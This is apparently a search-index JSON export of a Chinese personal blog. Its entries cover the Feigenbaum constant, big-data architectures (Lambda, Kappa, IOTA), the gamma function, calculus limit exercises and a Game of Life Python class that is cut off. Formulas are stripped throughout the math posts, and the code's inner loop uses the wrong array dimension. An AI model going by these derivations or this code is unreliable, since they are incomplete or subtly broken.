a71a74435bd2f8b837a5a66c89cd3036fca95f9aaae4e4b41f0527490790e9b57eb1c8d87d01e02b605a3b154cee42b0db179719a4ee68475b0d7aaf9df3460646f0a184f7a453c551827a2bc695f35e1590a725d4c1f6100220a20a95b906724f74823fd74beb8bd40c4b69a35fd21c9a875b2fd2c9653e8a7dcd2fc7b54bc9f039f7dbb87770fbfd235e77f4993bd748427873a0aeb3d5f4177ba73fd049dd488e88f7f43cbd90bb5c72cf726127438bbd8dc4d0e4aac97fecf8ae03506f2b5219f8ecc3c044d2018e8b11d30b0687000e11d6bb1f2866dfeff5c51d7fd643c770155814e8e65013dd5cc2892f144eba64f2532b200113da98f49a5d264991a335792ae14bde91667c5f8c3cbe4d9e29cb3457925db6824d9176279869d1591fc89640d582f64ce7387021796f3b20367b2ab9c33a1b783035cc1b26fc1cb977933428fda2c3d4efabf5ea6de631ca245e8b185c678efc4e90694680d3c05c911e13231da44cab08e75b211cdde02c976fd59307d5032f7b1e0d06d74a434d8281ab0f16d0bf39eddd72a7071f05b4803cc8aa4f4d1fd5a96dbff8bfbbfd85dc2692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e2adac2c5e94517face82362de748420a5 您好, 这里需要密码.","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"IPv6","slug":"Web/IPv6","permalink":"https://blog.mhuig.top/categories/Web/IPv6/"}],"tags":[{"name":"加密备忘录","slug":"加密备忘录","permalink":"https://blog.mhuig.top/tags/%E5%8A%A0%E5%AF%86%E5%A4%87%E5%BF%98%E5%BD%95/"}]},{"title":"神秘数字 4.669","slug":"math/神秘数字4.669","date":"2021-02-10T01:50:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/373468cd/","permalink":"https://blog.mhuig.top/p/373468cd/","excerpt":"","text":"从无序迈向有序 费根鲍姆常数：混沌理论中的普适标度律 引言：从无序中发现有序1975 年，洛斯阿拉莫斯国家实验室的一位不起眼的助手米切尔・费根鲍姆（Mitchell Feigenbaum）在研究非线性映射时，做出了一个改变混沌理论发展轨迹的发现。当时，他使用一台价值 795 美元的 HP-65 可编程计算器，对逻辑斯蒂映射（Logistic map）进行数值迭代计算。这个看似简单的工具，却帮助他揭示了隐藏在复杂非线性系统背后的惊人规律。 费根鲍姆观察到，当参数逐渐增大时，系统会经历一系列的倍周期分岔：从稳定的不动点（周期 1）分岔出周期 2，接着是周期 4、周期 8，依此类推，最终进入混沌状态。通过计算相邻分岔点之间的距离比值，他发现这些比值似乎收敛于一个固定的数值。经过多次迭代计算，费根鲍姆猜测这个极限值约为 4.6692，这就是后来被称为费根鲍姆常数（Feigenbaum constant）的第一个普适常数，通常记为 。 更令人惊讶的是，费根鲍姆进一步验证了这个常数的普适性。他发现，不仅在逻辑斯蒂映射中，在正弦映射等其他具有二次极大值的非线性映射中，倍周期分岔过程都遵循相同的收敛规律，分岔参数间隔比的极限同样是 。这一发现揭示了非线性系统从有序走向混沌过程中的普适行为，为混沌理论的发展奠定了重要基础。 历史背景：混沌理论的诞生与费根鲍姆的突破混沌理论的前身可以追溯到 20 世纪初，法国数学家亨利・庞加莱（Henri Poincaré）在研究三体问题时首次观察到了非线性系统的敏感性。然而，混沌理论作为一门独立学科的兴起，则是在 20 世纪 60 年代至 70 年代。 1963 年，美国气象学家爱德华・洛伦兹（Edward Lorenz）在研究大气对流模型时发现了 \"蝴蝶效应\"，即初始条件的微小差异可能导致系统长期行为的巨大变化。这一发现揭示了确定性系统中内在的随机性，为混沌理论的发展拉开了序幕。 与此同时，在数学领域，研究人员开始关注非线性映射的动力学行为。1976 年，罗伯特・梅（Robert May）在《自然》杂志上发表了一篇具有里程碑意义的论文，介绍了逻辑斯蒂映射在描述种群动态时表现出的复杂行为，包括倍周期分岔和混沌现象。这篇论文引起了广泛关注，激发了更多学者对非线性动力学的研究兴趣。 正是在这样的学术背景下，米切尔・费根鲍姆开始了他对非线性映射的深入研究。费根鲍姆的学术道路并非一帆风顺。他在麻省理工学院获得粒子物理博士学位后，因对当时新兴的混沌理论产生浓厚兴趣，转而投身这一 \"非主流\" 领域的研究，甚至因此一度失去了在康奈尔大学的职位。直到 1974 年，他加入洛斯阿拉莫斯国家实验室，才有机会专注于非线性动力学的研究。 在洛斯阿拉莫斯实验室，费根鲍姆使用 HP-65 计算器，对逻辑斯蒂映射进行了大量数值计算。他计算了系统从周期 1 到周期 2、周期 4、周期 8 等一系列分岔点的参数值，并观察到相邻分岔点之间的距离比值似乎趋于一个常数。通过不懈的努力和大胆的猜测，费根鲍姆最终提出了这一普适常数的存在，并于 1978 年在《统计物理学杂志》（Journal of Statistical Physics）上发表了题为《一类非线性变换的定量普适性》（Quantitative Universality for a Class of Nonlinear Transformations）的开创性论文，正式确立了这一发现。 费根鲍姆的工作最初遭遇了不少质疑，部分原因是缺乏严格的数学证明。然而，随着计算机技术的发展和更多数值实验的验证，他的发现逐渐被学术界接受。1982 年，数学家奥斯卡・兰福德（Oscar E. Lanford III）通过计算机辅助证明，为费根鲍姆普适性理论提供了更坚实的数学基础。 费根鲍姆常数的发现，不仅为混沌理论提供了一个重要的定量工具，也深刻改变了人们对非线性系统的认识。它揭示了看似杂乱无章的混沌现象背后隐藏的有序结构，展示了非线性世界的奇妙规律。 费根鲍姆常数的定义与数学表达费根鲍姆常数是描述非线性系统倍周期分岔通向混沌过程中普适行为的两个重要常数。第一个费根鲍姆常数 表征分岔参数间隔的几何收敛率，第二个费根鲍姆常数 则描述分岔后周期轨道宽度的衰减率。 第一费根鲍姆常数 考虑一个单参数非线性映射 ，其中 是控制参数。当 逐渐增大时，系统可能经历一系列倍周期分岔。设 是系统发生 周期分岔时的临界参数值。例如， 对应周期 2 分岔点， 对应周期 4 分岔点，依此类推。费根鲍姆发现，当 趋于无穷大时，相邻分岔点之间的距离比值收敛于一个常数： 这个极限值 就是第一费根鲍姆常数。通过数值计算，费根鲍姆得到 。 以逻辑斯蒂映射 为例，费根鲍姆计算得到的分岔点参数值如下： （周期 2 分岔）， （周期 4 分岔）， （周期 8 分岔）， （周期 16 分岔）， （周期 32 分岔）。 计算相邻分岔点的距离比值： ， ， ， 。 进而得到比值： ， ， 。 可以看到，这些比值逐渐趋近于费根鲍姆常数 。 第二费根鲍姆常数 除了分岔参数间隔的收敛，费根鲍姆还发现分岔后周期轨道的 \"宽度\" 也呈现几何衰减。设 是 周期轨道的特征宽度（例如，轨道点的最大距离），则当 趋于无穷大时，宽度比值收敛于第二个普适常数 ： 通过数值计算，费根鲍姆得到 。 这两个费根鲍姆常数 和 共同刻画了非线性系统从有序到混沌转变过程中的标度行为，体现了不同非线性系统在倍周期分岔序列中的普适特征。 费根鲍姆常数的推导方法费根鲍姆常数的推导和计算是一个复杂的过程，涉及数值迭代、函数方程求解和重整化群方法等多种技巧。下面将详细介绍几种主要的推导方法。 1. 数值迭代法：从分岔点计算到常数估计费根鲍姆最初发现常数 的方法就是通过数值迭代。这种方法虽然直观，但需要高精度的计算和对分岔点的精确确定。 以逻辑斯蒂映射 为例，数值迭代法的步骤如下： a) 寻找分岔点 ：对于每个 ，找到使系统出现稳定 周期轨道的参数值 。这通常需要使用牛顿法等数值方法求解方程 及其稳定性条件。 b) 计算分岔间隔比：根据定义，计算相邻分岔点之间的距离比值 ，并观察其收敛趋势。 c) 外推估计极限值：通过对有限 下的比值进行外推，估计 时的极限值，即费根鲍姆常数 。 这种方法的精度受到数值计算精度和分岔点确定准确性的限制。费根鲍姆使用 HP-65 计算器进行计算，虽然在当时已经是先进的工具，但精度仍然有限。现代计算机可以通过更高精度的计算和更有效的分岔点搜索算法，得到更精确的 值。 2. 重整化群方法：费根鲍姆函数方程为了从理论上解释常数 和 的普适性，费根鲍姆引入了重整化群的思想，建立了著名的费根鲍姆函数方程。这种方法不仅能够解释常数的普适性，还为常数的数值计算提供了更系统的框架。 2.1 函数方程的建立考虑一个具有二次极大值的单峰映射 。费根鲍姆假设，在分岔聚集点附近，经过适当的标度变换，映射的迭代会收敛到一个普适的不动点函数 。具体来说，他提出了以下泛函方程： 其中 是第二费根鲍姆常数（标度因子），负号反映了映射的反射对称性。这个方程被称为费根鲍姆 - 茨维塔诺维奇方程（Feigenbaum-Cvitanović equation）。 除了上述泛函方程，不动点函数 还需要满足一些边界条件： （归一化条件，极大值点）， （二次极大值条件）， 对于 （有界性）。 2.2 线性化与本征值问题为了求解费根鲍姆函数方程，我们可以将其在不动点函数 附近线性化。考虑微小扰动 ，令 是方程的一个近似解。代入方程并忽略高阶项，可以得到关于 的线性本征值方程。 费根鲍姆证明，这个线性算子的最大本征值就是第一费根鲍姆常数 。因此，求解这个本征值问题可以得到 的数值。 2.3 数值求解方法求解费根鲍姆函数方程通常采用迭代法。赵平波和胡岗提出了一种基于级数展开的重整化方法，其步骤如下： a) 假设不动点函数 的级数展开形式： （只包含偶次项，因为 是偶函数）。 b) 将级数展开代入泛函方程，比较等式两边同次幂的系数，得到关于系数 和常数 的方程组。 c) 求解这个方程组，得到 的近似表达式和 的值。 d) 通过线性化方程，求解本征值问题，得到 的值。 Lanford 等人利用计算机辅助证明，通过高次多项式逼近 ，得到了高精度的 和 值。这种方法的精度主要取决于多项式展开的阶数和数值计算的精度。 3. 分形几何与多标度分析另一种推导和理解费根鲍姆常数的角度是通过分形几何和多标度分析。Kuznetsov 和 Osbaldestin 提出了一种基于重整化群函数方程的方法，用于计算费根鲍姆吸引子的广义维数。 他们从分区函数出发，考虑了如下形式的特征值问题： 其中 是与广义维数相关的本征函数， 是本征值。通过求解这个方程，可以得到广义维数 与参数 和 的关系： 特别地，当 时，可以得到关联维数 。通过这种方法，Kuznetsov 和 Osbaldestin 不仅验证了费根鲍姆常数的普适性，还计算了不同非线性映射的广义维数。 4. 符号动力学与信息熵方法近年来，研究人员尝试从符号动力学和信息熵的角度来理解费根鲍姆常数的起源。Smith 提出了一种基于信息熵的准精确解析方法，试图将费根鲍姆常数与黄金比例和自然对数底等基本常数联系起来。 Smith 定义了符号序列的熵，并假设倍周期分岔对应于熵的特定变化。通过分析熵的积分与普适标度的关系，他得到了一个近似公式： 其中 是黄金比例。代入数值后，这个公式给出 ，与精确值的误差仅为 0.01% 。 虽然这种方法尚未给出费根鲍姆常数的严格解析表达式，但它揭示了费根鲍姆常数与其他基本数学常数之间可能存在的深刻联系，为进一步研究提供了新的思路。 费根鲍姆常数的普适性与推广费根鲍姆常数的普适性是其最引人注目的特点之一。最初在逻辑斯蒂映射中发现的 和 ，后来被证明在一大类非线性映射中都存在。这种普适性不仅体现在数学模型中，还在物理实验中得到了验证。 普适性的范围与条件费根鲍姆证明，对于所有具有二次极大值的单峰映射，倍周期分岔序列的收敛率都由相同的常数 和 刻画。这里的关键条件是映射在临界点（极大值点）处具有二次行为，即映射的泰勒展开式中最低阶非零导数是二阶导数。 对于具有更高阶临界点的映射，普适常数会发生变化。例如，对于四次映射，费根鲍姆常数 的值约为 7.284 ；对于六次映射，约为 9.296 ；对于八次映射，约为 10.048 。这些结果表明，普适常数的值取决于映射的 \"类型\"，通常由临界点的阶数决定。 实验验证：从电路到流体费根鲍姆常数的普适性不仅在数学模型中得到证实，还在物理实验中被观察到。以下是几个典型的实验验证例子： 1. 非线性电路实验许成伟等人利用 FD - NCE - 1I 型非线性电路混沌实验仪，通过调节电路参数，观察到了从倍周期分岔到混沌的转变过程。他们测量了不同周期分岔点对应的非线性电阻电压，并计算了相邻分岔点电压差的比值。实验结果得到的费根鲍姆常数约为 4.56 ，与理论值 的相对误差约为 2.3% 。 实验误差主要来源于电压表的精度限制和分岔点判断的主观性。使用更高精度的测量设备和更严格的分岔点判断标准，可以进一步减小误差，更精确地验证费根鲍姆常数的普适性。 2. RLD 电路中的混沌现象除了传统的蔡氏电路（Chua's circuit），研究人员还在其他非线性电路中观察到了费根鲍姆普适性。例如，在电阻 - 电感 - 二极管（RLD）电路中，通过逐步改变参数，可以观察到倍周期分岔序列，并计算得到费根鲍姆常数 的实验值，与理论值吻合良好。 3. 流体力学实验在流体力学中，从层流到湍流的转捩过程也被认为与倍周期分岔有关。虽然直接测量流体系统中的费根鲍姆常数具有挑战性，但一些实验间接证实了非线性动力学普适性的存在。例如，在热对流实验中观察到的周期倍增现象，为费根鲍姆理论提供了物理支持。 推广：超费根鲍姆普适性费根鲍姆普适性的发现激发了研究人员对更广泛普适行为的探索。杜雷鸣等人研究了 Lorenz 映射系统中的超 Feigenbaum 普适性，发现了一种新的超几何收敛行为。 通过超高精度的数值计算，他们发现 Lorenz 映射中存在一种不同于传统 Feigenbaum 普适性的收敛行为，表现为超几何收敛。这种新的普适行为的收敛比约为 0.6300 ，不同于黄金分割比（约 0.618）。 这一发现扩展了人们对非线性系统普适性的认识，表明除了传统的 Feigenbaum 普适性外，还可能存在其他类型的普适行为，值得进一步深入研究。 费根鲍姆常数的应用与意义费根鲍姆常数的发现不仅具有深刻的理论意义，还在多个领域有着广泛的应用前景。从物理学到工程技术，从生物学到经济学，费根鲍姆常数为理解非线性系统的复杂行为提供了一个重要的定量工具。 1. 混沌控制与同步混沌系统的一个重要特点是对初始条件的极端敏感性，这使得长期预测变得困难。然而，费根鲍姆常数所描述的倍周期分岔序列为混沌控制提供了思路。通过微小的参数扰动，可以将系统稳定在某个周期轨道上，从而实现对混沌的控制。 例如，在激光系统中，混沌行为可能导致输出不稳定。利用费根鲍姆常数所揭示的分岔规律，可以设计反馈控制机制，将激光系统稳定在某个周期状态，提高输出稳定性和可控性。 2. 非线性时间序列分析在实际应用中，许多系统的动态行为可以通过时间序列来观测（如股价波动、心率变化、气候数据等）。费根鲍姆常数为分析这些时间序列提供了一个重要的参考。 通过计算时间序列的自相似性和标度指数，可以判断系统是否处于混沌状态，以及是否经历了倍周期分岔过程。费根鲍姆常数的存在可以作为系统进入混沌的一个特征标志，有助于我们理解和预测复杂系统的行为。 3. 实验物理中的标度律验证费根鲍姆常数的普适性为实验物理提供了一个重要的验证标准。在研究新的非线性系统时，观察倍周期分岔序列并计算分岔参数间隔比，可以检验系统是否符合费根鲍姆普适性。如果实验结果与理论值 吻合良好，则说明系统属于具有二次极大值的普适类，从而可以利用已知的理论结果来分析系统行为。 例如，在非线性光学实验中，通过观察激光与物质相互作用产生的倍周期分岔现象，可以验证费根鲍姆常数的普适性，并深入理解光与物质相互作用的非线性动力学机制。 4. 数学上的意义：常数的本质与未解之谜尽管费根鲍姆常数已被广泛接受和应用，但其数学本质仍然是一个未解之谜。与圆周率 和自然对数底 不同，费根鲍姆常数目前没有已知的解析表达式，也不清楚它是否为无理数或超越数。 费根鲍姆常数的普适性暗示它可能与某些深刻的数学结构有关。Smith 等人尝试将 与黄金比例 和自然对数底 等基本常数联系起来，得到了一些近似公式，如 。虽然这些公式的精度有限，但启发我们思考费根鲍姆常数与其他数学常数之间可能存在的内在联系。 理解费根鲍姆常数的数学本质，可能需要发展新的数学理论和方法，这不仅对非线性动力学，而且对整个数学领域都具有重要意义。 结论与展望费根鲍姆常数的发现是混沌理论发展史上的一个里程碑。从 1975 年费根鲍姆使用 HP-65 计算器的初步发现，到如今成为非线性动力学普适性的核心概念，费根鲍姆常数见证了人类对复杂非线性世界认识的深化。 费根鲍姆常数的普适性揭示了不同非线性系统在走向混沌过程中的共同规律，为我们理解复杂系统提供了一个统一的框架。通过数值迭代、泛函方程求解和重整化群等方法，我们不仅能够精确计算费根鲍姆常数，还能深入理解其背后的数学物理本质。 在应用方面，费根鲍姆常数为混沌控制、时间序列分析和实验物理验证等提供了重要工具。从电子电路到流体力学，从生物学到经济学，费根鲍姆常数的影响跨越了多个学科领域，展现了基础科学研究的广泛应用前景。 然而，仍有许多未解之谜等待探索。费根鲍姆常数的解析表达式是什么？它与其他数学常数之间是否存在深刻的联系？除了传统的倍周期分岔，是否还存在其他类型的普适行为？这些问题的解答，可能需要数学家和物理学家的跨学科合作，以及计算技术的进一步发展。 随着人工智能和高性能计算的兴起，我们有望发展出更高效的数值方法，更精确地计算费根鲍姆常数，并探索更高维度和更复杂非线性系统中的普适行为。同时，新的实验技术可能会在更多物理系统中验证费根鲍姆普适性，甚至发现新的普适类和普适常数。 费根鲍姆常数的故事告诉我们，即使在看似杂乱无章的混沌现象中，也可能隐藏着惊人的秩序和规律。通过不懈的探索和创新，人类终将揭开自然界的神秘面纱，理解我们所处的复杂世界。费根鲍姆常数，这个从非线性系统中诞生的数字，将继续指引我们在混沌与秩序的边界探索前行。","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"},{"name":"分形","slug":"数学/分形","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/%E5%88%86%E5%BD%A2/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"混沌","slug":"混沌","permalink":"https://blog.mhuig.top/tags/%E6%B7%B7%E6%B2%8C/"}]},{"title":"大数据架构演变","slug":"bigdata/大数据架构演变","date":"2021-02-07T12:51:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/7e3480e9/","permalink":"https://blog.mhuig.top/p/7e3480e9/","excerpt":"","text":"在 Hadoop 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主要是为自我服务，用来更好地自我控制和管理，DT 则是激活生产力，让别人活得比你好” —— 阿里巴巴董事局主席马云。 Hadoop 作为解决对大数据量低成本规模化的处理的解决方案被广泛应用 但是 MapReduce 或者 Hive 很难做到低延迟，用 Storm 开发的实时流处理技术可以帮助解决延迟性的问题，但它并不完美 Storm 不支持 exactly-once 语义，因此不能保证状态数据的正确性 Storm 不支持基于事件时间的处理 后来出现了一种混合分析的方法，它将上述两个方案结合起来，既保证低延迟，又保障正确性 ——Lambda Lambda 架构是由 Storm 的作者 Nathan Marz 提出的一个实时大数据处理框架 Marz 在 Twitter 工作期间开发了著名的实时大数据处理框架 Storm，Lambda 架构是其根据多年进行分布式大数据系统的经验总结提炼而成 Lambda 的目标: 高容错、低延时、可扩展 Lambda 特性 整合离线计算和实时计算 读写分离和复杂性隔离 可集成 Hadoop，Kafka，Storm，Spark，HBase 等 Marz 认为大数据系统应具有以下的关键特性（Lambda 架构的关键特性）： Robust and fault-tolerant（容错性和鲁棒性）：让系统从错误中快速恢复 Low latency reads and updates（低延时）：响应是低延时 Scalable（横向扩容）：通过增加机器的个数来提高系统的性能 General（通用性）：支持多领域的数据分析（金融、社交、电子商务等） Extensible（可扩展）：以最小的开发代价来增加新功能 Allows ad hoc queries（方便查询）：即时查询，快速简便的进行查询 Debuggable（易调试）：快速定位错误 Lambda 架构通过分解的三层架构来解决问题 Batch Layer Speed Layer Serving Layer Batch Layer理想状态下，任何数据查询都可以从表达式 Query= function (all data) 获得，但是若数据达到相当大的一个级别（例如 PB），且还需要支持实时查询时，就需要耗费非常庞大的资源 可以将数据提前进行计算处理成为 Batch View，这样当需要执行查询时，可以从 Batch View 中读取结果。这样一个预先运算好的 View 是可以建立索引的，因而可以支持随机读取 Batch Layer 总结为： Batch View = function(all data) Query = function(BatchView) Speed LayerBatch Layer 的离线处理可以很好的满足大多数应用场景，但有很多场景的数据是不断实时生成，并且需要实时查询处理。Speed Layer 正是用来处理增量的实时数据并生成 Realtime View Speed Layer 处理的数据是最近的增量数据流，Batch Layer 处理的是全体数据集 Speed Layer 为了效率，接收到新数据时不断更新 Realtime View，而 Batch Layer 根据全体离线数据集直接得到 Batch View Speed Layer 是一种增量计算，所以延迟小 Speed Layer 总结为： RealtimeView＝function(RealtimeView，new data) Batch Layer 和 Speed Layer 优点： 容错性：Speed Layer 中处理的数据也不断写入 Batch Layer，当 Batch Layer 中重新计算的数据集包含 Speed Layer 处理的数据集后，当前的 Realtime View 就可以丢弃，这也就意味着 Speed Layer 处理中引入的错误，在 Batch Layer 重新计算时都可以得到修正。这点也可以看成是 CAP 理论中的最终一致性（Eventual Consistency）的体现 复杂性隔离：Batch Layer 处理的是离线数据，可以很好的掌控。Speed Layer 采用增量算法处理实时数据，复杂性比 Batch Layer 要高很多。通过分开 Batch Layer 和 Speed Layer，把复杂性隔离到 Speed Layer，可以很好的提高整个系统的鲁棒性和可靠性 Query = function( Batch View , Realtime View ) Realtime View = function( Realtime View , new data ) Batch View = function( all data ) Serving Layer用于响应用户的查询请求，合并 Batch View 和 Realtime View 中的结果数据集到最终的数据集 Kappa 架构Lambda 架构有时会出现批量数据和实时数据结果对不上的问题 LinkedIn 的 Jay Kreps 提出了一个新的架构：KAPPA 它的理念是：鉴于大家认为批量数据和实时数据对不上是个问题，它直接去掉了批量数据; 而直接通过队列（Kafka），放入实时数据之中。 例如：将所有的数据直接放到原来的 Kafka 中，然后通过 Kafka 的 Streaming，去直接面向查询 该架构也存在着一些问题： 不能及时查询和训练。例如：我们的分析师想通过一条 SQL 语句，来查询前五秒的状态数据。这对于 KAPPA 架构是很难去实现的 面对各种需求，它同样也逃不过每次需要重新做一次 Data Streaming。也就是说，它无法实现 Ad—hoc 查询，我们必需针对某个需求事先准备好，才能进行数据分析 新数据源的结构问题。例如：要新增一台智能硬件设备，我们就要重新开发一遍它对应的适配格式、负责采集的 SDK、以及 SDK 的接收端等，即整体都要重复开发一遍 IOTA 架构IOTA 架构整体思路设定标准数据模型，通过边缘计算技术把所有的计算过程分散在数据产生、计算和查询过程当中，以统一的数据模型贯穿始终，从而提高整体的预算效率，同时满足即时计算的需要，可以使用各种 Ad-hoc Query 来查询底层数据 Common Data Model（核心）：从数据收集到数据存储和处理使用统一的数据模型 ​ “主 - 谓 - 宾”、“对象 - 事件”、“产品 - 事件”、“地点 - 时间” 模型等等 ​ 例，“X 用户 – 事件 1 – A 页面（2018/4/11 20:00） SDKs：数据的采集端，不仅仅是过去的简单的 SDK，在复杂的计算情况下，会赋予 SDK 更复杂的计算，在设备端就转化为形成统一的数据模型来进行传送 Real Time Data：实时数据缓存区，这部分是为了达到实时计算的目的，海量数据接收不可能海量实时入历史数据库，那样会出现建立索引延迟、历史数据碎片文件等问题。因此，有一个实时数据缓存区来存储最近几分钟或者几秒钟的数据。这块可以使用 Kudu 或者 Hbase 等组件来实现。这部分数据会通过 Dumper 来合并到历史数据当中。此处的数据模型和 SDK 端数据模型是保持一致的，都是 Common Data Model，例如 “主 - 谓 - 宾” 模型 Historical Data：历史数据沉浸区，这部分是保存了大量的历史数据，为了实现 Ad-hoc 查询，将自动建立相关索引提高整体历史数据查询效率，从而实现秒级复杂查询百亿条数据的反馈。例如可以使用 HDFS 存储历史数据，此处的数据模型依然 SDK 端数据模型是保持一致的 Common Data Model Dumper：Dumper 的主要工作就是把最近几秒或者几分钟的实时数据，根据汇聚规则、建立索引，存储到历史存储结构当中，可以使用 map reduce、C、Scala 来撰写，把相关的数据从 Realtime Data 区写入 Historical Data 区 Query Engine：查询引擎，提供统一的对外查询接口和协议（例如 SQL JDBC），把 Realtime Data 和 Historical Data 合并到一起查询，从而实现对于数据实时的 Ad-hoc 查询。例如常见的计算引擎可以使用 presto、impala、clickhouse 等 Realtime model feedback：通过 Edge computing 技术，在边缘端有更多的交互可以做，可以通过在 Realtime Data 去设定规则来对 Edge SDK 端进行控制","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"架构","slug":"大数据/架构","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/%E6%9E%B6%E6%9E%84/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"}]},{"title":"离散世界与连续世界的联系","slug":"math/离散世界与连续世界的联系","date":"2021-01-02T12:34:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/2b995a0c/","permalink":"https://blog.mhuig.top/p/2b995a0c/","excerpt":"","text":"探索当年，哥德巴赫异想天开就想离散的世界的阶乘能不能用连续世界的积分 来表达。 哥德巴赫有个好朋友叫伯努利，伯努利有个学生叫欧拉。欧拉有个学生叫拉格朗日，拉格朗日有个学生叫柯西 哥德巴赫与伯努利交流，问伯努利：有没有离散世界和连续世界可以相等的呢？ 伯努利想不明白，就问他的学生欧拉，然后欧拉一晚上想出来了。故事结束 伽玛函数 换元，令 则 推导建立递推式 由于 得到： 当 时, 当 时, 如： 又如： 数学归纳可得： 参考文献Γ 函数 wikipedia","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"}]},{"title":"一大波题目正在来袭","slug":"math/一大波题目正在来袭","date":"2020-12-06T13:33:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/bc43343e/","permalink":"https://blog.mhuig.top/p/bc43343e/","excerpt":"","text":"","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"}]},{"title":"回顾几个有趣的小题目","slug":"math/回顾几个有趣的小题目","date":"2020-11-16T13:08:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/ce5b71c0/","permalink":"https://blog.mhuig.top/p/ce5b71c0/","excerpt":"","text":"One 设 ,满足 , . (1) 证明存在，并求其值。 (2) 求. 我们称 叫做递推式，也叫迭代式。 上一步的函数值是下一步的自变量，如此循环往复。 迭代过程： 绘制图像 相当于在两条曲线的夹缝中求生存，最终的极限值趋近于 0. 数列、、到、单调减少，且有下界 0. (1) 用数学归纳法证明有界. 1. 验证 . 2. 设 . 3. 则 . 于是有下界 0. 且显然 . 由单调有界准则,存在, 记为 . 由 ,得 ,解得 ,于是 . (2) . 由于 存在，由归结原则: . Two (1) 证明方程 在 内有唯一实根； (2) 对于 (1) 中的，任取 ,定义 , 证明 . 是超越方程，只能求得数值解，不能求得解析解，交点就在那里，可是就是不知道它是几. 相当于在两条曲线的夹缝中求生存，最终的极限值趋近于. 数列、、到、单调减少，且有下界. Three 设 , , ,证明存在且其极限是方程 的根. 是超越方程解不出解析解，交点就在那里，可是就是不知道它是几。 (1) 证 在内有唯一实根。 令 ,则 , . 且 . .单调递减. . 唯一 (2) 证 . 构造 . 由拉格朗日中值定理: 数学归纳 由于 故连续放缩得 于是 且 有界. 故 . . 即 Four 设 , , , .若存在，求的取值范围.数学归纳 1. . 2. 设 . 3. 则 单调增加。 若存在，记为 . 于是有交点. 函数值相同导数值斜率相同 故 时,有交点. 又 时, 2. 设 3. 则 . 有上界. 综上，当 时,存在，且值为 的根. [注] (1) 当 时，有 2 个交点. eg. 当 时， ,. (2) 当在怎样的正数取值范围内取值时，曲线 和直线 必相交？ 曲线 和直线 相交的充要条件是存在 ，使得 ,即 即属于 的值域. 由于 =0. 故只需求出的最大值则的取值范围就是. 可得 唯一驻点. 当 时 ,当 时 , 时为在 内的最大值. 由此，曲线 和直线 相交的充要条件是满足 .","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"}]},{"title":"宇宙的本质是计算","slug":"pen/宇宙的本质是计算","date":"2020-11-06T00:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/92a4ae9/","permalink":"https://blog.mhuig.top/p/92a4ae9/","excerpt":"","text":"如果认为物理学家的任务是发现自然是什么，那就错了，物理学家关心的是我们关于自然能说点什么。 —— 尼尔斯・玻尔 想象一下，一望无际的大平面被分成了许许多多方格子。每个格子里正好能放下一个 “细胞”。这个细胞不能运动，它可以是死的，也可以是活的；但它的状态，是由它周围 8 个细胞的死活决定。 规则至于决定的规则，在这个例子里只有这么几条： “人口过少”：任何活细胞如果活邻居少于 2 个，则死掉。 “正常”：任何活细胞如果活邻居为 2 个或 3 个，则继续活。 “人口过多”：任何活细胞如果活邻居大于 3 个，则死掉。 “繁殖”：任何死细胞如果活邻居正好是 3 个，则活过来。 产物而下面这几张图，全是遵循这几条简单规则的产物。 \"脉冲星\"它的周期为 3，看起来像一颗周期爆发的星星。 “滑翔者”每 4 个回合 “它” 会向右下角走一格。虽然细胞早就是不同的细胞了，但它能保持原本的形态。 “轻量级飞船”它的周期是 4，每 2 个回合会向右边走一格。 “滑翔者枪”它会不停地释放出一个又一个滑翔者。 “繁殖者”它会向右行进，留下一个接一个的 “滑翔者枪”。动图最后一帧定格时用三种颜色区分了繁殖者本体、滑翔者枪和它们打出来的滑翔者。 Game Of Life上面这几条规则别名 “生命游戏”，可能是最出名的一套规则组。 最早研究细胞自动机的科学家是冯・诺伊曼，后来康韦发明了上面展示的这个最有趣的细胞自动机程序：《生命游戏》，而 wolfram 则详尽的讨论了一维世界中的细胞自动机的所有情况 这个游戏被许多计算机程序实现了。Unix 世界中的许多 Hacker 喜欢玩这个游戏，他们用字符代表一个细胞，在一个计算机屏幕上进行演化。 import numpy as npimport matplotlib.pyplot as plt class GameOfLife(object): def __init__(self, cells_shape): \"\"\" Parameters ---------- cells_shape : 一个元组，表示画布的大小。 Examples -------- 建立一个高20，宽30的画布 game = GameOfLife((20, 30)) \"\"\" # 矩阵的四周不参与运算 self.cells = np.zeros(cells_shape) real_width = cells_shape[0] - 2 real_height = cells_shape[1] - 2 self.cells[1:-1, 1:-1] = np.random.randint(2, size=(real_width, real_height)) self.timer = 0 self.mask = np.ones(9) self.mask[4] = 0 def update_state(self): \"\"\"更新一次状态\"\"\" buf = np.zeros(self.cells.shape) cells = self.cells for i in range(1, cells.shape[0] - 1): for j in range(1, cells.shape[0] - 1): # 计算该细胞周围的存活细胞数 neighbor = cells[i-1:i+2, j-1:j+2].reshape((-1, )) neighbor_num = np.convolve(self.mask, 